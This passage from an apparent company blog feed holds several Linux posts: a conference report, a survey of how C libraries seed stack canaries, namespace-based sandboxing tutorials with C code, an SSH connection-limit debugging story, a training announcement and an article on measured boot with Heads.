Arnout went on explaining how tracking vulnerabilities across open source software using CVE and CPE databases is even further complicated by the fact that the information in these database is often not fully accurate. For example affected version numbers for vulnerabilities are incorrect or project names do not match up. For example OpenSSL as maintained upstream should be treated differently than OpenSSL maintained by Debian as the maintainers backport certain security fixes to older versions.

The talk concluded with a discussion of alternative ways for tracking vulnerabilities: OSV (Open Source Vulnerabilities) which look like an interesting alternative to CVEs if they get widely adopted.

Testing and Remote Access to Embedded System DPI/LVDS Display Output

In this presentation, Marek Vasut presented his various approaches to access embedded display outputs remotely for testing. It turned out, that this could actually be pretty useful for some of our customer’s projects too.

His presentation gave an in-depth overview about the various implementation options and the overall development odyssey. He started off with an introduction of high-bandwidth interfaces usable for capturing display output (USB 3.0 is the only real fitting candidate) and gave a rough overview over embedded system display buses.

Then, Marek presented the first, failed approach of using an FPGA with a bridge chip as a USB Video-Class (UVC) device, which had seemed like the obvious solution, but failed because of inflexibility and implementation problems. The second implementation, using the bridge chip as a FIFO directly, surprisingly worked out in the end.

After an initial, more or less “hacky” (albeit working) solution using some signal analyzer software, he designed his own PCBs and software for this use case. Marek also made his KiCad schematics and code openly available.

Summary

As always, the conference was a great exchange of ideas, featuring numerous captivating talks. Moreover, the hallway track provided an excellent opportunity for networking and intense discussions. We had the pleasure of meeting many fascinating individuals and engaging in stimulating conversations.

During our time at the summit, we had more to experience than just the conference sessions and talks. As a group, we took the chance to visit Prague Castle and enjoy some sightseeing. We admired the impressive architecture, explored the historic halls, and appreciated the cultural heritage of this captivating city. To wrap up the conference, we participated in a closing game hosted by Tim Bird, which added an entertaining element. The game included a few quiz questions related to Prague and its famous landmarks, which made our sightseeing excursion even more meaningful.

]]>https://sigma-star.at/blog/2023/05/stack-canary/Tue, 30 May 2023 00:00:00 +0200Aaron MarcherRichard Weinbergerhttps://sigma-star.at/blog/2023/05/stack-canary/Who’s your canary?

A few weeks ago we gave a training on secure coding and talked about the stack protector on Linux. While roughly explaining how it works and how it can be utilized with GCC, an attendee asked where the stack canary comes from. The question was quickly resolved by answering that it’s a random value provided by the kernel upon process startup.

But where does the value really come from? This question turned out to be more interesting than expected. In this blog post we will give you a rough overview where the stack canary comes from with different libc implementations.

]]>Who’s your canary?

A few weeks ago we gave a training on secure coding and talked about the stack protector on Linux. While roughly explaining how it works and how it can be utilized with GCC, an attendee asked where the stack canary comes from. The question was quickly resolved by answering that it’s a random value provided by the kernel upon process startup.

But where does the value really come from? This question turned out to be more interesting than expected. In this blog post we will give you a rough overview where the stack canary comes from with different libc implementations.

Short recap

Stack canaries are a security feature implemented in many software programs to help mitigate buffer overflow attacks. The stack protector places a randomized canary value at a specific position on the function stack. It is crucial that the value is not known to the attacker, not can be easily guessed. This is why the canary value is randomly selected for each newly executed program. Please note that the value is not unique per process, if a process is copied, i.e. via fork(), then also the canary value stays the same. Before function returns the value is compared to the initial one. If it changed, the stack is corrupted and execution aborts to prevent an attacker from executing their malicious code.

For example, in GCC the stack protector can be enabled using the -fstack-protector compiler option.

Implementing a canary

Let’s take a look at how various stack protector implementations select the canary value. In most implementations, the symbol __stack_chk_guard holds the canary value, and the function __stack_chk_fail() is called upon failure.

libssp

libssp is a standalone library included in GCC, if enabled, providing stack protection mechanisms. Per default, it is disabled on most Linux systems, but it has proven to be useful on bare metal (embedded) systems without a libc.

To generate its canaries, it tries to read from /dev/urandom if present. Otherwise, the canary is hard-coded to the values 0x00, 0x00, 0xff, 0x0a. These values are chosen to stop string functions and prevent stack overflow:

• 0x00 is the NULL character, terminating a string
• 0xff is invalid according to the UTF-8 specification
• 0x0a is a newline character

Running gcc -v on your distro will most likely show --disable-libssp.

Source: gcc/libssp/ssp.c:73

glibc

When there is no libssp support is available, glibc can handle canaries on its own. For each newly started program, the kernel generates a random value and passes it to the program using the auxiliary vector¹ AT_RANDOM from the userspace’s auxiliary vector. On non-Linux systems, glibc falls back to using the value 0x00, 0x00, 0xff, 0x0a (see libssp).

To retrieve the value for the current execution, set LD_SHOW_AUXV=1.

$ LD_SHOW_AUXV=1 /bin/true | grep AT_RANDOM
AT_RANDOM:       0x7ffcacfa8c49

Source: glibc/sysdeps/unix/sysv/linux/dl-osinfo.h:26

musl libc

The lightweight alternative C library musl uses AT_RANDOM for its stack canaries, just like glibc. As a fallback on non-Linux it uses the address of __stack_chk_guard multiplied by a magic value (0x41C64E6D), which may seem suboptimal at first glance.

However, if ASLR is available, it can serve as a source of randomness. ASLR randomizes memory addresses, making it challenging for attackers to exploit memory-related vulnerabilities. By relying on ASLR to randomize the stack canary value in the fallback scenario, it ensures that the canary is not easily guessable.

Source: musl/src/env/__stack_chk_fail.c:7

bionic libc

The bionic libc, utilized by Google on Android, uses an arc4 random number generator if the /dev/urandom pseudo-device is available. If not, it falls back to using AT_RANDOM through the auxiliary vector.

Source: bionic/libc/bionic/__libc_init_main_thread.cpp:109

uclibc-ng

uclibc-ng is a small C library primarily designed for embedded systems. For the random number generation of its stack protector it utilizes /dev/urandom by default. Alternatively, it can also fall back to a pseudo-random approach based on a magic value (0xFF0A0D00UL) xor current time.

Source: uclibc-ng/libc/sysdeps/linux/common/dl-osinfo.h:36

dietlibc

The statically linked C library, developed by fefe, also takes hold of AT_RANDOM for stack canary generation, with an optional fallback to /dev/urandom.

Source: dietlibc/lib/stackgap-common.h

picolibc (not really Linux specific)

picolibc is another C library primarily used on embedded systems, particularly in scenarios with very limited main memory. Per default, it uses the magic value 0x00, 0x00, 0xff, 0x0a (see libssp). If feasible and constructors are available, it utilizes the random number generator of the operating system.

Source: picolibc/newlib/libc/ssp/stack_protector.c:21

Linux kernel (no libc)

The Linux kernel itself incorporates a stack protector mechanism for each kernel stack. It obtains random numbers from its internal random number generator.

Source: linux/include/linux/stackprotector.h:23

OpenBSD libc

OpenBSD’s libc previously used the getentropy() system call to obtain random values in its stack canaries, which recevied its bytes directly from the kernel’s entropy pool. However, starting from the 5.3 release, they transitioned to .openbsd.randomdata, which is an ELF section filled by the kernel on program execution (using its entropy pool).²

Source: openbsd-src/lib/libc/sys/stack_protector.c:47

Con{clusion,fusion}

The variations in the implementation details of stack protectors and the generation of its stack canaries across diverse C libraries are remarkably diverse. Some C libraries utilize the (pseudo) random number generator of the OS, while others have their own implementations.

Generally, C libraries follow quite sane defaults. However, the main concern lies in the fallbacks: They are often questionable. One possible attack vector would be to ensure that the C library falls back to a (less secure) source of random numbers.

---

1. https://www.gnu.org/software/libc/manual/html_node/Auxiliary-Vector.html ↩︎

2. https://github.com/openbsd/src/blob/master/libexec/ld.so/SPECS.randomdata ↩︎

]]>https://sigma-star.at/blog/2023/05/sandbox-netns/Sun, 07 May 2023 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/blog/2023/05/sandbox-netns/Restricting network access using Linux Network Namespaces

Our last blog post explored ways to restrict access to the file system using Linux mount namespaces. In this post, we’ll show you how to restrict access to the network using Linux’s network namespaces. That’s basically a new instance of the Linux network stack. By default a new network namespace contains no network interfaces except a new instance of the loopback interface. The main use cases are Linux containers: Network namespaces allow a container having its own network configuration without the risk of compromising the host.

]]>Restricting network access using Linux Network Namespaces

Our last blog post explored ways to restrict access to the file system using Linux mount namespaces. In this post, we’ll show you how to restrict access to the network using Linux’s network namespaces. That’s basically a new instance of the Linux network stack. By default a new network namespace contains no network interfaces except a new instance of the loopback interface. The main use cases are Linux containers: Network namespaces allow a container having its own network configuration without the risk of compromising the host.

The Baseline

Consider a requirement where an application needs to ensure that it can no longer access the network or establish new connections. One way to achieve this is by creating a new network namespace.

When the application creates a new network namespace, it can no longer access the network nor the host itself. Access is not denied by the namespace mechanisms themselves, but by the way networking works. There is no network interface to the outside world; all the namespace has is a loopback interface. To connect the network namespace to the outside world the application either has to set up a virtual ethernet connection or move a physical network interface into the namespace. This is usually done by container engines and is a privileged operation. By not doing so, the application is network-wise isolated.

Network Namespaces

Similar to mount namespaces, creating a network namespace requires the CAP_SYS_ADMIN capability. Therefore, an unprivileged application must first create a new user namespace to be able to create a network namespace. For simple unprivileged applications, utilizing the unshare() system call is good enough to create a new user and network namespace to disassociate itself from the network. Thus, a call like unshare(CLONE_NEWNET | CLONE_NEWUSER) is sufficient for unprivileged applications to isolate itself from the network. While the application has all capabilities in the freshly created user namespace and can alter the new network namespaces as it wishes, it has no way to establish a virtual network connection to the parent namespace, nor can it re-enter the parent namespace. This is because it has no capabilities on the host side (the parent namespaces in this case).

If the application is privileged (i.e., it has CAP_SYS_ADMIN and CAP_NET_ADMIN) then it is crucial to drop privileges inside the new user namespace to avoid escape. Dropping capabilities is usually something you would do with the help of libcap or libcap-ng. Here, we’re using libcap-ng.

The following lines of code outline the needed steps to create a new network namespace and drop privileges.

assert(unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0);

assert(capng_lock() == 0);
capng_clear(CAPNG_SELECT_BOTH);
assert(capng_apply(CAPNG_SELECT_BOTH) == 0);
assert(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == 0);

Pitfall: Loopback Interface

Network namespaces come with one pitfall: By default the loopback interface is set to down state. If your new network namespace will contain applications that communicate via loopback, don’t forget to bring up the loopback interface. Otherwise, you may observe strange failures because most applications blindly assume loopback.

You can try this yourself using the unshare tool in your favorite shell:

$ unshare -Unr
$ ping localhost
connect: Cannot assign requested address
$ ip link set up dev lo
$ ping localhost
PING localhost(localhost (::1)) 56 data bytes
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.055 ms

Inherited Sockets

Please note that network namespaces, actually Linux namespaces in general, have no influence on existing file handles. Therefore, if your application possesses a file handle to a socket from another network namespace, it can use it in the new network namespace smoothly.

This is a useful feature as it allows creating network servers that can serve a listening socket but are disconnected from the outside world. If an attacker manages to overtake the application, they are unable to create a new socket to reach destinations outside the sandbox. Here you can find a sample application that outlines the idea.

Summary

Namespace are not only useful for building containers, but they can also be utilized to restrict access. In this case, we used network namespaces to deny access to the network. For more details on namespaces, see namespaces(7).

]]>https://sigma-star.at/blog/2023/04/too-many-cpus/Sun, 09 Apr 2023 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/blog/2023/04/too-many-cpus/Too many CPUs to build

Lately, we’ve been facing strange build errors on one of our build servers. Building a Yocto based firmware sometimes failed to build. While the error message was clear - bitbake’s git fetcher was unable to pull sources from a remote git server - it was less clear what caused the problem. The error message from bitbake indicated a connection reset. Cloning the affected repository manually worked perfectly fine, and also building the failed target by manual execution of bitbake worked.

]]>Too many CPUs to build

Lately, we’ve been facing strange build errors on one of our build servers. Building a Yocto based firmware sometimes failed to build. While the error message was clear - bitbake’s git fetcher was unable to pull sources from a remote git server - it was less clear what caused the problem. The error message from bitbake indicated a connection reset. Cloning the affected repository manually worked perfectly fine, and also building the failed target by manual execution of bitbake worked.

When the issue occured first, we thought it was a network glitch and didn’t bother much. But the issue persisted and occurred again. With more failures, we were able to characterize the problem:

• Incremental rebuilds failed most likely
• Full builds with an empty sstate-cache never failed
• Full builds with a populated sstate-cache failed often
• Manual rebuild of a single tailed target always worked
• Only recipes with AUTOREV were affected
• Only recipes that fetch from a specific git server using ssh were affected

In the meantime, we suspected the connection to the git server - but none of our tests indicated a problem. Reaching the git server in question involves another ssh jump host and a VPN connection to a customer. So there were quite a few components which were not under our control.

Finally, setting the log level of the ssh jump host to verbose gave us the crucial clue, as it logged:

drop connection #10 from hidden:48324 on hidden:22 past MaxStartups

So, we’ve been overrunning the jump host by reaching more than 10 concurrent unauthenticated connections. This was the reason behind the strange build errors! Due to Yocto’s parallelism, it ran git ls-remote in parallel and established at least one connection per CPU. The affected build server has way more than 10 CPUs. This explains why only our most powerful server was affected, and only rebuilds or builds with populated sstate-cache failed sometimes. All other builds ran enough other tasks in between to never reach the connection limit.

The morale of the story?

Always make sure that you allow more parallel connections than you have CPUs. In our case, adjusting sshd’s MaxSessions and MaxStartups settings fixed the problem.

]]>https://sigma-star.at/blog/2023/03/sandbox-mountns/Sat, 18 Mar 2023 00:00:00 +0100Richard Weinbergerhttps://sigma-star.at/blog/2023/03/sandbox-mountns/Restricting file system access using Linux Mount Namespaces

Linux offers a variety of mechanisms to confine a process, one of them are namespaces. Nowadays, they are commonly used as foundation for Linux containers. In this blog post you’ll learn how namespaces can be used to restrict access to the file system for a given process and all its children.

The baseline

Let’s consider you want to make sure that your new application can use all system resources but has no access to certain parts of the file system. e.g. access to /home should be impossible. Or an application which runs within your user session should have no access to your .ssh folder which contains usually valuable assets.

]]>Restricting file system access using Linux Mount Namespaces

Linux offers a variety of mechanisms to confine a process, one of them are namespaces. Nowadays, they are commonly used as foundation for Linux containers. In this blog post you’ll learn how namespaces can be used to restrict access to the file system for a given process and all its children.

The baseline

Let’s consider you want to make sure that your new application can use all system resources but has no access to certain parts of the file system. e.g. access to /home should be impossible. Or an application which runs within your user session should have no access to your .ssh folder which contains usually valuable assets.

Mount namespaces are one way to achieve this. Let’s write an unprivileged program which can be used as wrapper for another application but it will hide .ssh in the home directory. By using mount namespaces it is possible to make a copy of the current namespace and edit it. A program can either

• use the unshare() system call to disconnect itself from the current namespace and create a new one, or:
• create a new child process with clone() where the child has a new namespace.

User Namespaces

The act of creating a new mount namespace is restricted to processes which have the CAP_SYS_ADMIN capability. To use this facility in an unprivileged program we have to use a second namespace: the user namespace. User namespaces allow an unprivileged process gaining all capabilities and being uid 0. Linux guarantees that all actions taken by uid 0 within a user namespace adhere to the access rights of the unprivileged process. That way an unprivileged process can do things usually only root can do, but no action will have a visible effect to processes outside of the namespace.

Configuration of a user namespace

By calling unshare(CLONE_NEWNS | CLONE_NEWUSER) our program will gain a new user and mount namespace. Before we can proceed, we need to configure the user namespace. We want to have uid 0 with all capabilities inside our new user namespace. To achieve this, we must install a user and group mapping. The mapping tells Linux that everything we do inside the namespace should run outside the namespace as our current user id. Unprivileged processes are only allowed to install exactly one mapping where the target user and group ids match the outer namespace. Otherwise a processes could gain more privileges than it has.

Both user and group id mappings are controlled via two files in the processes’ /proc directory, /proc/PID/uid_map and /proc/PID/gid_map. Let’s assume the current uid is 1000 and gid is 100, then we need to write 1000 0 1 and 100 0 1 into the map files. So ids 1000 or 100 should be mapped to 0 once. Furthermore, the processes’s setgroups file has to be configured to deny. This is needed to be able to switch the group id within the user namespace. Only privileged processes are allowed to keep the file set to allow and therefore can modify their set of supplementary groups.

After this overly complicated setup procedure we’re allowed to run setuid(0) and setgid(0) to become uid 0 within the user namespace and can finally work on the mount namespace.

Creating helper functions

To ease things, let’s create first a helper function which writes a single line into a file below /proc/self/:

static void write_proc_self(const char *file, const char *content)
{
        size_t len = strlen(content) + 1;
        char *path;
        int fd;

        assert(asprintf(&path, "/proc/self/%s", file) != -1);
        fd = open(path, O_RDWR | O_CLOEXEC);
        free(path);
        assert(fd >= 0); 
        assert(write(fd, content, len) == len);
        close(fd);
}

A further helper is update_uidgid_map(), which constructs and writes the user and group mappings:

static void update_uidgid_map(uid_t from, uid_t to, bool is_user)
{
        char *map_content;

        assert(asprintf(&map_content, "%u %u 1\n", from, to) != -1);

        if (is_user)
                write_proc_self("uid_map", map_content);
        else
                write_proc_self("gid_map", map_content);

        free(map_content);
}

And finally another helper: deny_setgroups() writes deny to the setgroups file:

static void deny_setgroups(void)
{
        write_proc_self("setgroups", "deny\n");
}

Using the helpers from above and switching to uid and gid 0 happens in become_uid0():

static void become_uid0(uid_t orig_uid, gid_t orig_gid)
{
        deny_setgroups();
        update_uidgid_map(0, orig_gid, false);
        update_uidgid_map(0, orig_uid, true);
        assert(setuid(0) == 0);
        assert(setgid(0) == 0);
}

Mount Namespaces

The very first operation to the mount namespace is marking it as a hole as slave to the parent namespace. A slave mount namespace receives new mounts from outside. For example, if a user plugs in a USB thumb drive, this new mount point will also be visible to us. This is achieved with the following command: mount("none", "/", NULL, MS_REC|MS_SLAVE, NULL). The important settings are MS_REC and MS_SLAVE.

By setting the MS_REC flag we tell Linux to apply the new settings to all mount points below /. And MS_SLAVE sets the mounts, as the name describes, into slave mode. If we didn’t want to see new mounts instead of MS_SLAVE, MS_PRIVATE can be used.

Adding new mounts

Since we’re still unprivileged despite being uid 0 in our user namespace, we are only allowed to perform certain operations on the mount namespace. Our mount namespace is an immutable copy of the namespace we were in before, so we cannot unmount individual parts of it. However, we are allowed to unmount it as a whole or add new mounts to it. We’ll use the latter. Only very few virtual file systems can be mounted within a user namespace. One of them is tmpfs, which is an in-memory filesystem. We’ll use it to over mount .ssh, so that .ssh becomes an empty directory where all modifications are done to ram but the underlying content is hidden. To ensure that no memory is wasted by filling tmpfs, we’ll mount it as read-only, so that nobody can write to it. Changing the working directory to / and back is an important step. If we don’t do so and the current directory is the user’s .ssh, the process will still posess a reference and can access it.

All of the above happens in setup_mounts():

static void setup_mounts(void)
{
	char *curdir = get_current_dir_name();
	char *homedir = getenv("HOME");
	char *sshdir;

	assert(curdir);
	assert(homedir);
	assert(mount("none", "/", NULL, MS_REC | MS_SLAVE, NULL) == 0);

	assert(asprintf(&sshdir, "%s/.ssh", homedir) != -1);
	assert(mount("tmpfs", sshdir, "tmpfs", MS_RDONLY, NULL) == 0);
	chdir("/");
	chdir(curdir);

	free(sshdir);
	free(curdir);
}

But we’re not done yet. The mount we just made can still be undone, if somebody finds a way to execute code within the program we’re wrapping all our modifications to the original mount namespace can be undone.

Sealing

To seal the current mount namespace, we create a new user namespace. User and mount namespaces are tightly connected. Every mount namespace has an owning user namespace and modifications are only allowed by the owner. With the new user namespace we give up the ownership and make sure no further modifications can happen. Additionally, we switch back to the user and group ids we had initially. So we utilize again the unshare() system call, but this time only with the CLONE_NEWUSER flag, and install the following uid and gid mappings, 0 1000 1, 0 100 1. The attentive reader will notice that this time we map back from 0 to 1000 or 100 again.

So we need another helper: become_orig(). It switches back to the original user ids:

static void become_orig(uid_t orig_uid, gid_t orig_gid)
{
        update_uidgid_map(orig_gid, 0, false);
        update_uidgid_map(orig_uid, 0, true);
        assert(setuid(orig_uid) == 0);
        assert(setgid(orig_gid) == 0);
}

Finally

After all, in main() everything comes together:

int main(int argc, char *argv[])
{
        char *const new_argv[] = {"/bin/bash", NULL};
        uid_t my_uid = getuid();
        gid_t my_gid = getgid();

        assert(unshare(CLONE_NEWNS | CLONE_NEWUSER) == 0);
        become_uid0(my_uid, my_gid);
        setup_mounts();

        assert(unshare(CLONE_NEWUSER) == 0);
        become_orig(my_uid, my_gid);
 
        return execvp(new_argv[0], new_argv);
}

Here we’re wrapping /bin/bash, where you can directly run the program as regular user. In the new shell you’ll find your .ssh directory empty. Download the complete program here.

Another Example

Simply over mounting a directory to hide it is not always a perfect fit. Consider the more complicated case where you want to hide everything except one directory in your home directory. For example, a download application shall not access files in /home/user/ but /home/user/Downloads/. Just mounting a tmpfs on /home/user/ will hide everything. The task can be accomplished by using the property that the current working directory holds a reference to the mount point and keeps it from vanishing.

Necessary steps

1. Change the current directory to /home/user
2. Mount a tmpfs to /home/user
3. Create /home/user/Downloads - this has to be an absolute path to target the new tmpfs!
4. Remount /home/user to read-only mode
5. Bind mount Downloads to /home/user/Downloads; it is crucial to use a relative path as source, as mount() will use our current working directory - therefore bind Download from the overmounted home directory.

In code:

static void setup_mounts(void)
{
        char *curdir = get_current_dir_name();
        char *homedir = getenv("HOME");
        char *downloadsdir;

	assert(curdir);
        assert(homedir);
        assert(mount("none", "/", NULL, MS_REC | MS_SLAVE, NULL) == 0);

        assert(asprintf(&downloadsdir, "%s/%s", homedir, "Downloads") != -1);

        chdir(homedir);
        assert(mount("tmpfs", homdir, "tmpfs", 0, NULL) == 0);
        mkdir(downloadsdir, 0700);
	assert(mount("tmpfs", homedir, "tmpfs", MS_REMOUNT | MS_RDONLY, NULL) == 0);
        assert(mount("Downloads", downloadsdir, NULL, MS_BIND, NULL) == 0);
        free(downloadsdir);
        chdir("/");
        chdir(curdir);
	free(curdir);
}

Summary

Namespace are not only useful to build containers, but they can also be utilized to restrict access. In this case we used mount namespaces to limit access to certain parts of the file system. For more details on namespaces, see namespaces(7).

]]>https://sigma-star.at/blog/2022/12/linux-internals-training/Tue, 13 Dec 2022 00:00:00 +0100Richard Weinbergerhttps://sigma-star.at/blog/2022/12/linux-internals-training/Training: Kernel Internals for Linux Admins

It’s our very pleasure to announce a new training that will take place in early 2023.

Overview

Understanding certain kernel internals is not only useful for persons that intend developing kernel related software. It helps also while analyzing the runtime behavior of Linux in several situations a system administrator might occur. Even seasoned Linux admins can benefit from knowing where exactly to attach probes to or how to gather certain system statistics without excessive tooling.

]]>Training: Kernel Internals for Linux Admins

It’s our very pleasure to announce a new training that will take place in early 2023.

Overview

Understanding certain kernel internals is not only useful for persons that intend developing kernel related software. It helps also while analyzing the runtime behavior of Linux in several situations a system administrator might occur. Even seasoned Linux admins can benefit from knowing where exactly to attach probes to or how to gather certain system statistics without excessive tooling.

Agenda

• Overview of major subsystems in Linux and how they interact with each other.
• Deep dive into storage, network, CPU scheduling, security and container subsystems.
• Key kernel functions where attaching probes is fruitful when debugging issues.
• Differences between kernel versions of major Linux distributions (Debian, Ubuntu, RHEL, SLES).
• Deep dive into /proc, /sys and debugfs interfaces to understand how common tools work on Linux.
• Introduction to kernel tracing using perf, ftrace, bpftrace and other tools.

Training procedure

• Duration: 8 hours
• Price: EUR 1.000,- per person.
• Format: Remote; all presented material will be available to attendees after the session
• Targeted dates: March 22nd 2023, March 23rd 2023, April 26th 2023, April 27th 2023

Upon request the training is also available on site or at our training center in Innsbruck, Austria. Please mail to office@sigma-star.at for questions and registration.

]]>https://sigma-star.at/blog/2022/11/securely-booting-x86-heads/Thu, 10 Nov 2022 00:00:00 +0100Aaron Marcherhttps://sigma-star.at/blog/2022/11/securely-booting-x86-heads/<h1 id="securely-booting-x86-using-heads">Securely booting x86 using Heads</h1> <p>Measures to protect firmware, bootloader and operating system from tampering have a long history in embedded development (also Smartphones and Tablets). We have been deploying such solutions for many different customers. However, our own development machines, which are x86 most of the time, suffer from very similar issues. Secureboot and similar solutions try to solve at least some associated risks. Nonetheless, a complete chain of trust, including a trustable root of trust, is nearly impossible on conventional x86 architecture.</p>Securely booting x86 using Heads

Measures to protect firmware, bootloader and operating system from tampering have a long history in embedded development (also Smartphones and Tablets). We have been deploying such solutions for many different customers. However, our own development machines, which are x86 most of the time, suffer from very similar issues. Secureboot and similar solutions try to solve at least some associated risks. Nonetheless, a complete chain of trust, including a trustable root of trust, is nearly impossible on conventional x86 architecture.

This blog post introduces an alternative open-source firmware project, addressing these weak points of x86 architecture with different measures. It is the result of some research and experimentation at work with Heads and Qubes OS.

Introducing Heads

Heads¹² was initially presented at “Chaos Communication Congress 33c3 (2016/17)”³, without gaining lots of popularity the following years. In the meanwhile, some (pretty well-known) vendors adopted heads into their mainboards and/or laptops (e.g. Purism Librem⁴ or NitroKey NitroPad⁵), which has boosted Heads’ development tremendously.

Summarized, Heads implements a form of measured boot, where the root of trust is moved into the write-protected SPI-flash and the chain of trust is coherent until the operating system takes over. Tampering of firmware, bootloader or the kernel is not impossible, however the user is immediately notified if such a (potentially malicious) action was detected.

What about Tails?

Tails is often referred to in this context because it provides the opposite advantages to Heads, however tries to solve similar architectural problems.

The flip side of Tails. Unlike Tails, which aims to be a stateless OS that leaves no trace on the computer of its presence, Heads is intended for the case where you need to store data and state on the computer. ⁶

On one hand, Tails is a secure stateless operating system, leaving no traces after shutdown. On the other hand, Heads provides the necessary firmware to work with a stateful operating system, but verifies its state on every boot (to prevent tampering).

The flaws of x86 BIOS and UEFI

Before starting to describe how Heads may increase the overall firmware security of your x86 hardware, let’s rethink and question traditional BIOS and UEFI.

From: Linus Torvalds <torvalds@osdl.org>
Newsgroups: fa.linux.kernel
Message-ID: <fa.K4M0mC9bP4Gr24fvdHc+zatz61M@ifi.uio.no>
The problem with EFI is that it actually superficially
looks much better than the BIOS, but in practice it ends
up being one of those things where it has few real
advantages, and often just a lot of extra complexity
because of the "new and improved" interfaces that were
largely defined by a committee.
Not that I'd ever claim that the BIOS is wonderful either.
Linus

Linus Torvalds brings up a valid point: Modern EFI implementations as well as old BIOS consist of a lot of large, unauditable, complex code (even graphical UI including web browser is common in today’s firmwares).

Intel’s edk2 tree (UEFI) would be open-source at core, however different vendors have their own closed-source implementations. (Security) updates, bugfixes, enhancements etc. are all on the behalf of the manufacturer - and take their time to bubble down the firmware supply chains.

Also, the signing keys for Secure Boot are in most cases in absolute control of the vendor, which opens the possibility of leaks to third parties.

The problem with Intel’s Management Engine

Additionally, lots of unverifiable code is in Intel’s Management Engine, a coprocessor which has access to almost all devices of a platform (memory, network, peripherals). It was originally meant to be a management tool for large organizations, but auditing its exact function is impossible. Heads has included an awesome open source project to disable most parts of this potentially dangerous hardware: ME Cleaner⁷. However, the Intel ME is a very complex topic which would exceed the boundaries of this blog post. Read more about it here.⁸⁹¹⁰

Exploiting and protecting x86 firmware

The state of firmware, bootloader, Kernel and operating system is unknown after leaving alone a device for an undefined period (e.g. in a hotel room). That opens a whole range of threats to the overall security of the device. Read more about x86’s state problems in a paper from Joanna Rutkowska.¹¹

Good historical examples for these kinds of attacks are:

• HackingTeam malware installed through UEFI (2015)¹²
• CIA backdoor exploited through UEFI (uncovered by WikiLeaks, 2017)¹³
• Vulnerabilities like Thunderstrike (2014)¹⁴
• Exploits like LightEater (2015)¹⁵

Attempts of protection

Obviously, vendors and manufacturers tried to mitigate the risk of such attacks.

• Intel: One attempt was Intel’s Boot Guard/Verified Boot. However, it silently fails upon mismatching signatures, which renders it completely useless.
• Google: Google’s attempt is vboot2 used on Chromebooks, which really addresses some of the present issues. Unfortunately, it is too specialized and unflexible to support a broad range of devices.
• GNU GRUB: That’s why GNU GRUB has been forked to Trusted GRUB, which has support for TPM and signed kernels. The problem with it is, that it duplicates all device/ filesystem driver functionality from Linux kernel and thus becomes bloated too. Additionally, the code is not professionally audited nor widely adopted or tested.

None of these solutions allow us to completely verify the chain of trust from the hardware start to the Kernel / operating system boot without any major flaws. That’s when Heads comes into play.

Heads, the little brother/sister of Tails

To improve some issues associated with x86 and its firmware flaws, Heads makes use of well-audited, widely used open source projects. It is based on the coreboot project¹⁶ and the Linux kernel, plus a few required libraries and utils. coreboot is an open source x86 firmware with increasing board and Laptop support, only initializing the basic hardware functions and then handing control to any custom payload.

How Heads works

Heads moves the root of trust into the write-protected region of the SPI flash and allows to completely verify the chain of trust until the measures of the operating system take over. All signing keys are in total control of the user. If all signatures match, the Linux kernel kexec syscall chain-loads the operating system kernel. If anything went wrong, the user is instantly notified and the system bootup process stops immediately. Using Linux as a bootloader, the device drivers are shared among the bootloader and the kernel, which greatly reduces the attack surface.

To verify the integrity of the firmware, the Trusted Platform Module (TPM), a cryptographic coprocessor in modern mainboards, is used. It signs all parts of the SPI flash: That means tampering is possible, but is noticed on the next boot. The TPM also serves as a hardware key storage to decrypt the fully encrypted operating system installed on the system’s bootup disk. However, at this point it is worth mentioning, that TPMs had various security flaws in the past too: For example some Infinion TPMs¹⁷ implemented a broken key generation (RNG), or the communication between the TPM chip and the CPU was not secured by default in old TPM versions¹⁸.

Bootloader, hypervisor, kernel, ramdisk etc. are all signed by a user-controlled key: The user’s GPG public key is flashed into the firmware, so that signatures can be verified on boot. Additionally, tampering of the firmware is detected by using a time-based token (TOTP, verified on another device, e.g. Google Authenticator) and a hardware token (HOTP, Nitrokey¹⁹) with a boot counter.

Trying out Heads on an old Thinkpad

To evaluate and test Heads we used an old spare Lenovo ThinkPad T420, because it offers good overall coreboot and Heads support.

Please note: Warranty is void, no guarantee that anything works, proceed at your own risk! That said, let’s continue to the fun part. :-)

First, proceed with building Heads according to the official guide.²⁰

We had to disassemble the whole laptop to access the BIOS SPI flash chip, as its position is just below the magnesium frame under the keyboard. To ease future access, I soldered some wires to the chip and managed to get them out at the maintenance flap at the bottom of the laptop. However, you can also flash only using a SOIC-8 clip if you trust your built image.

Then you can use a Raspberry Pi (or Bus Pirate or similar) to flash the built image over the GPIO SPI interface.

Show me what you got

If all went well, Heads initialization screen should show up on next boot. First boot can take a few minutes because of Memory training - don’t panic!

Configure your Heads installation according to official documentation by setting up GPG keys, TOTP or HOTP etc.²¹²²

After having passed GPG and TOTP/HOTP verifications, the full-disk-encryption passphrase is asked for. Alternatively, the TPM passes it from the hardware key store.

If all went well, the Linux kernel executes a kexec to jump into the Kernel of the installed operating System - after having verified its integrity and signatures.

In this case, Qubes OS comes up (which you should give a try btw, but that is another blog post).

---

1. https://osresearch.net/ ↩︎

2. https://github.com/osresearch/heads ↩︎

3. https://trmm.net/Heads_33c3 ↩︎

4. https://puri.sm/ ↩︎

5. https://nitrokey.com ↩︎

6. https://osresearch.net ↩︎

7. https://github.com/corna/me_cleaner ↩︎

8. https://osresearch.net/PDFs/Rootkit_in_your_laptop.pdf ↩︎

9. https://osresearch.net/PDFs/Recon_2014_Skochinsky.pdf ↩︎

10. https://osresearch.net/PDFs/x86_harmful.pdf ↩︎

11. https://osresearch.net/PDFs/state_harmful.pdf ↩︎

12. https://www.pcworld.com/article/428561/hacking-teams-malware-uses-uefi-rootkit-to-survive-os-reinstalls.html ↩︎

13. https://www.pcworld.com/article/406190/wikileaks-documents-show-cias-mac-and-iphone-compromises.html ↩︎

14. https://trmm.net/Thunderstrike/ ↩︎

15. https://www.theregister.com/2015/03/19/cansecwest_talk_bioses_hack/ ↩︎

16. https://coreboot.org/ ↩︎

17. https://www.schneier.com/blog/archives/2017/10/security_flaw_i_1.html ↩︎

18. https://arstechnica.com/gadgets/2021/08/how-to-go-from-stolen-pc-to-network-intrusion-in-30-minutes/ ↩︎

19. https://www.nitrokey.com/ ↩︎

20. https://osresearch.net/general-building/ ↩︎

21. https://osresearch.net/Configuring-Keys/ ↩︎

22. https://osresearch.net/InstallingOS/ ↩︎

